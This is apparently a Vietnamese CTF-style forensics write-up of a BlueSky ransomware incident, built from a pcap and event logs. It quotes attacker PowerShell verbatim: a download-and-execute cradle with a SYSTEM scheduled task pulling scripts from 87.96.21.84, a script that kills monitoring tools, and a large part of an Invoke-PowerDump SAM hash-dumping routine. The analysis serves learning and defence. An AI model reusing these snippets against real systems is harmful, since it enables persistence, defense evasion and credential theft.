BlueSkyRansomware.pcap
, vào Statistics
->Conversations
ta thấy có rất nhiều packet được truyền qua lại 2 IP là 87.96.21.84
và 87.96.21.81
. Khả năng đây chính là IP của attacker và IP đang bị scan. Destination
đều là 87.96.21.84
, vì thế có thể suy ra đây chính là IP đang bị scan. Submit đáp án và giải quyết xong Q1
BlueSkyRansomware.pcap
, ta vào Statistics
->Protocol Hierarchy
và nhìn qua một lượt các protocol được sử dụng.Tabular Data System
hay còn gọi tắt là TDS
. Trong mạng máy tính, TDS (Tabular Data Stream)
là một giao thức truyền thông được sử dụng bởi các hệ quản trị cơ sở dữ liệu Microsoft SQL Server. Giao thức TDS
được thiết kế để truyền tải các truy vấn và dữ liệu giữa máy khách và máy chủ SQL Server. TDS
cho phép truyền tải dữ liệu giữa ứng dụng máy khách và máy chủ SQL Server. Dữ liệu có thể bao gồm các truy vấn SQL, kết quả truy vấn, thông tin cấu trúc bảng, và các thông báo lỗi. Vì thế nên các thông tin khi đăng nhập như username và password cũng sẽ được truyền tải qua TDS
.TDS
làm filter và check qua các packet có liên quan đến login, ta lấy được thông tin về username
và password
để submit cho Q2
và Q3
!BlueSkyRansomware.pcap
, ta có thể sử dụng file .evtx(file event log)
để làm câu này.BlueSkyRansomware.evtx
và check qua 1 lượt các event ID liên quan đến các tác vụ login cũng như CSDL, ta thấy có rất nhiều event có ID 18456 xảy ra liên tiếp. Event ID 18456 là một thông báo lỗi đăng nhập thất bại trong Microsoft SQL Server. Cụ thể có thể tìm hiểu thêm tại đâyusername
là sa có vẻ đang bị attacker brute-force!Q2
nhưng câu này mình chỉ làm được theo cách sử dụng file pcap
, còn sử dụng event log như cách 2 ở Q2
thì có vẻ là không làm được(do thực sự không có cách làm hoặc là do có mà mình chưa tìm ra) Tiếp tục sử dụng file event log và sắp xếp các event theo trình tự thời gian, ta thấy sau 1 chuỗi các event ID 18456
thể hiện cho việc bị tấn công brute-force là 1 event ID 18454
thể hiện cho việc attacker đã đăng nhập thành công vào account sa
.
Tiếp theo sau đó, ta thấy có 2 event ID 15457
. Event ID 15457
trong Microsoft SQL Server thường được ghi lại khi có thay đổi cấu hình xảy ra trên máy chủ.
Tiếp tục check kĩ hơn 2 event này, ta thấy event thứ 2 có gọi đến xp_cmdshell
. xp_cmdshell
là một thủ tục mở rộng trong Microsoft SQL Server cho phép bạn thực thi các lệnh hệ điều hành từ bên trong SQL Server. Khi sử dụng xp_cmdshell
, attacker có thể chạy các lệnh shell như thể đang thực thi chúng từ một cửa sổ lệnh của hệ điều hành. Chi tiết hơn tìm hiểu tại đây
Submit đáp án và hoàn thành Q4
18454
và 15457
xảy ra như đã nêu ở câu trên, có một loạt các event có ID 600
tương tác với Window PowerShell
. Điều này cho thấy các tiến trình trong máy tính đang được bật tắt liên tục 1 cách đáng ngờ cũng như là Window PowerShell
đang được sử dụng để chạy lệnh đáng ngờ!HostApplication
của các event này đều là winlogon.exe
! winlogon.exe
là một thành phần quan trọng của hệ điều hành Windows, chịu trách nhiệm cho nhiều chức năng liên quan đến quá trình đăng nhập và bảo mật của người dùng. Đây là một trong những mục tiêu thường thấy cho process injection vì là 1 tiến trình quan trọng với đặc quyền cao và tồn tại trong suốt phiên làm việc của người dùng!winlogon,exe
chính là tiến trình bị inject C2(Command and Control). Lí do cho việc chỉ có thể dự đoán mà ko thể chắc chắn, cũng như chưa có thêm dữ liệu thuyết phục hơn là do mình cũng ko chuyên về Forensics(có thể nói ngoài các bài CTF cơ bản thì đây là lần đầu mình thực hiện 1 bài Forensics có tính thực tế như này). Anw, rất may dự đoán của mình dựa trên các dữ liệu research được là chính xác và đã tìm ra được đáp án của Q5
BlueSkyRansomeware.pcap
và tìm ra được URL của file. Các bước áp dụng filter để tối ưu hoá việc tìm kiếm thì rất cơ bản và mỗi người một kiểu, mình xin phép ko phát minh lại bánh xe nữa :DQ6
, follow HTTP stream
để quan sát nội dung của file checking.ps1
, ta sẽ thấy ngay SID mà script này đang check là S-1-5-32-544
!checking.ps1
, ta dễ dàng tìm thấy các registry keys được sử dụng đẻ disable Window Defender
lần lượt là DisableAntiSpyware
, DisableRoutinelyTakingAction
, DisableRealtimeMonitoring
, SubmitSamplesConsent
và SpynetReporting
http://87.96.21.84/del.ps1
checking.ps1
, ta dễ dàng phát hiện đoạn code mà attacker sử dụng để tạo ra task \Microsoft\Windows\MUI\LPupdate
Function CleanerEtc {
$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile("http://87.96.21.84/del.ps1", "C:\ProgramData\del.ps1") | Out-Null
C:\Windows\System32\schtasks.exe /f /tn "\Microsoft\Windows\MUI\LPupdate" /tr "C:\Windows\System32\cmd.exe /c powershell -ExecutionPolicy Bypass -File C:\ProgramData\del.ps1" /ru SYSTEM /sc HOURLY /mo 4 /create | Out-Null
Invoke-Expression ((New-Object System.Net.WebClient).DownloadString('http://87.96.21.84/ichigo-lite.ps1'))
}
CleanerEtc
trong đoạn mã PowerShell trên thực hiện một số hành động có thể được coi là độc hại. Hãy phân tích từng dòng mã để hiểu rõ chức năng và hành vi của nó:Tạo đối tượng WebClient:
$WebClient = New-Object System.Net.WebClient
WebClient
, cho phép thực hiện các thao tác tải dữ liệu từ web.Tải xuống một tệp PowerShell từ URL và lưu vào C:\ProgramData\del.ps1:
$WebClient.DownloadFile("http://87.96.21.84/del.ps1", "C:\ProgramData\del.ps1") | Out-Null
del.ps1
từ URL http://87.96.21.84/del.ps1
và lưu nó vào C:\ProgramData\del.ps1
.Out-Null
được sử dụng để bỏ qua đầu ra của lệnh, không hiển thị bất kỳ thông tin nào.Tạo hoặc cập nhật một nhiệm vụ trong Task Scheduler:
C:\Windows\System32\schtasks.exe /f /tn "\Microsoft\Windows\MUI\LPupdate" /tr "C:\Windows\System32\cmd.exe /c powershell -ExecutionPolicy Bypass -File C:\ProgramData\del.ps1" /ru SYSTEM /sc HOURLY /mo 4 /create | Out-Null
schtasks.exe
để tạo hoặc cập nhật một nhiệm vụ tên là LPupdate
dưới đường dẫn \Microsoft\Windows\MUI\
.cmd.exe /c powershell -ExecutionPolicy Bypass -File C:\ProgramData\del.ps1
mỗi 4 giờ (/sc HOURLY /mo 4
).-ExecutionPolicy Bypass
) và thực thi tệp del.ps1
.Out-Null
cũng được sử dụng để bỏ qua đầu ra của lệnh.Tải và thực thi một script PowerShell từ URL:
Invoke-Expression ((New-Object System.Net.WebClient).DownloadString('http://87.96.21.84/ichigo-lite.ps1'))
http://87.96.21.84/ichigo-lite.ps1
và thực thi nội dung của nó ngay lập tức bằng Invoke-Expression
.-ExecutionPolicy Bypass
để bỏ qua các chính sách thực thi của PowerShell, giúp mã độc có thể chạy mà không bị ngăn chặn.CleanerEtc
là một ví dụ điển hình về cách mà mã độc có thể sử dụng PowerShell và Task Scheduler để tải xuống, lưu trữ và thực thi mã độc từ xa, đồng thời đảm bảo mã độc được thực thi định kỳ với quyền cao. Việc hiểu rõ cách hoạt động của đoạn mã này giúp người quản trị hệ thống phát hiện và ngăn chặn các hành vi độc hại tương tự.del.ps1
, ta có thể tóm tắt như sau:Get-WmiObject _FilterToConsumerBinding -Namespace root\subscription | Remove-WmiObject
$list = "taskmgr", "perfmon", "SystemExplorer", "taskman", "ProcessHacker", "procexp64", "procexp", "Procmon", "Daphne"
foreach($task in $list)
{
try {
stop-process -name $task -Force
}
catch {}
}
stop-process $pid -Force
Buộc Dừng Các Quy Trình Giám Sát:
Tactic chính của script này là Defense Evasion
. Tiếp đó đơn giản là google.com và tìm ra được ID của nó
Q6
và Q9
checking.ps1
và del.ps1
thì còn có các file khác được tải về máy nạn nhân ichigo-lite.ps1
và từ file này lại tỉa về file Invoke-PowerDump.ps1
có chứa đoạn code dùng để dump credentials# Load API functions from advapi32.dll
function LoadApi {
$AdvApi32 = @"
using System;
using System.Runtime.InteropServices;
public class Advapi32
{
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern uint RegOpenKeyEx(
IntPtr hKey,
string lpSubKey,
uint ulOptions,
uint samDesired,
out IntPtr phkResult
);
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern uint RegEnumKeyEx(
IntPtr hKey,
uint dwIndex,
[MarshalAs(UnmanagedType.LPStr)] System.Text.StringBuilder lpName,
ref uint lpcbName,
IntPtr lpReserved,
IntPtr lpClass,
IntPtr lpcbClass,
out long lpftLastWriteTime
);
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern uint RegQueryInfoKey(
IntPtr hKey,
IntPtr lpClass,
IntPtr lpcbClass,
IntPtr lpReserved,
out uint lpcSubKeys,
IntPtr lpcbMaxSubKeyLen,
IntPtr lpcbMaxClassLen,
IntPtr lpcValues,
IntPtr lpcbMaxValueNameLen,
IntPtr lpcbMaxValueLen,
IntPtr lpcbSecurityDescriptor,
IntPtr lpftLastWriteTime
);
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern uint RegCloseKey(
IntPtr hKey
);
}
"@
Add-Type -TypeDefinition $AdvApi32
}
# Get boot key from registry
function Get-BootKey {
LoadApi
$hklm = 0x80000002
$regPath = "SYSTEM\CurrentControlSet\Control\Lsa"
$samLSA = 0x0200
$regHandle = [IntPtr]::Zero
$result = [Advapi32]::RegOpenKeyEx($hklm, $regPath, 0, $samLSA, [ref]$regHandle)
if ($result -eq 0) {
$lpData = [System.Text.Encoding]::UTF8.GetBytes(@())
$lpcbData = 0
$lpReserved = [IntPtr]::Zero
$dataType = 0
$result = [Advapi32]::RegQueryInfoKey($regHandle, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero)
if ($result -eq 0) {
$lpcbData = [UInt32]::new($result)
$lpData = New-Object Byte[] $lpcbData
$result = [Advapi32]::RegQueryValueEx($regHandle, "JD", [IntPtr]::Zero, [ref]$dataType, [Byte[]]$lpData, [ref]$lpcbData)
if ($result -eq 0) {
$bootKey = $lpData[0..31]
return $bootKey
}
}
[Advapi32]::RegCloseKey($regHandle)
}
}
# Get hidden boot key from registry
function Get-HBootKey {
$bootKey = Get-BootKey
$hklm = 0x80000002
$regPath = "SYSTEM\CurrentControlSet\Control\Lsa\JD"
$samLSA = 0x0200
$regHandle = [IntPtr]::Zero
$result = [Advapi32]::RegOpenKeyEx($hklm, $regPath, 0, $samLSA, [ref]$regHandle)
if ($result -eq 0) {
$lpData = [System.Text.Encoding]::UTF8.GetBytes(@())
$lpcbData = 0
$lpReserved = [IntPtr]::Zero
$dataType = 0
$result = [Advapi32]::RegQueryValueEx($regHandle, "JD", [IntPtr]::Zero, [ref]$dataType, [Byte[]]$lpData, [ref]$lpcbData)
if ($result -eq 0) {
$hbootKey = $lpData[0..31]
$decryptedBootKey = New-Object Byte[] 32
for ($i = 0; $i -lt 32; $i++) {
$decryptedBootKey[$i] = $bootKey[$i] -bxor $hbootKey[$i]
}
return $decryptedBootKey
}
[Advapi32]::RegCloseKey($regHandle)
}
}
# Get user keys from registry
function Get-UserKeys {
$bootKey = Get-BootKey
$hbootKey = Get-HBootKey
$hklm = 0x80000002
$regPath = "SAM\Domains\Account\Users"
$samLSA = 0x0200
$regHandle = [IntPtr]::Zero
$result = [Advapi32]::RegOpenKeyEx($hklm, $regPath, 0, $samLSA, [ref]$regHandle)
if ($result -eq 0) {
$lpData = [System.Text.Encoding]::UTF8.GetBytes(@())
$lpcbData = 0
$lpReserved = [IntPtr]::Zero
$dataType = 0
$result = [Advapi32]::RegQueryInfoKey($regHandle, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero)
if ($result -eq 0) {
$subKeys = [IntPtr]::Zero
$maxSubKeyLen = [IntPtr]::Zero
$result = [Advapi32]::RegQueryInfoKey($regHandle, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [ref]$subKeys, [ref]$maxSubKeyLen, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero)
if ($result -eq 0) {
$lpName = New-Object System.Text.StringBuilder
for ($i = 0; $i -lt $subKeys; $i++) {
$lpName.Clear()
$lpName.Capacity = [UInt32]::new($max
LoadApi: Hàm này được sử dụng để tải các hàm API từ thư viện advapi32.dll
, bao gồm các hàm để làm việc với registry như RegOpenKeyEx
, RegEnumKeyEx
, RegQueryInfoKey
, và RegCloseKey
.
Get-BootKey: Hàm này trích xuất khóa khởi động (boot key) từ registry. Boot key là một phần quan trọng trong việc giải mã các hash mật khẩu được lưu trữ trong Windows.
Get-HBootKey: Hàm này sử dụng boot key để giải mã khóa khởi động ẩn (hidden boot key) từ registry. Khóa khởi động ẩn được sử dụng để mã hóa các mật khẩu người dùng.
Get-UserKeys: Hàm này lấy danh sách các người dùng từ registry và trả về các đối tượng PowerShell cho mỗi người dùng, bao gồm thông tin như RID (Relative Identifier), tên người dùng và vị trí của hash trong registry.
DecryptHashes: Hàm này giải mã các hash mật khẩu của mỗi người dùng sử dụng boot key và khóa khởi động ẩn. Nó trả về cặp hash mật khẩu được giải mã cho mỗi người dùng.
DumpHashes: Hàm này là điểm cuối của toàn bộ quy trình. Nó gọi các hàm trước đó để lấy danh sách người dùng và các hash mật khẩu tương ứng, sau đó hiển thị chúng dưới dạng chuỗi format. Đây là nơi mà tất cả các công việc cần thiết để lấy các hash mật khẩu từ registry được thực hiện.
ichogo-lite.ps1
, sau khi tải file Invoke-PowerDump.ps1
, có 1 câu lệnh đã được encode dùng để lưu lại các dữ liệu được dump vào 1 filebase64.b64decode("SW52b2tlLVBvd2VyRHVtcCB8IE91dC1GaWxlIC1GaWxlUGF0aCAiQzpcUHJvZ3JhbURhdGFcaGFzaGVzLnR4dCI=")
b'Invoke-PowerDump | Out-File -FilePath "C:\\ProgramData\\hashes.txt"'
ichigo-lite.ps1
ta thấy đoạn code sau$hostsContent = Invoke-WebRequest -Uri "http://87.96.21.84/extracted_hosts.txt" | Select-Object -ExpandProperty Content -ErrorAction Stop
extracted_hosts.txt
và thấy nó có chứa thông tin về các hostBlueSky ransomeware lateral movements using SMB
và tại đây mình tìm ra được đáp án(vẫn là không hiểu cho lắm :v)javaw.exe
lên VirusTotal và có được đáp án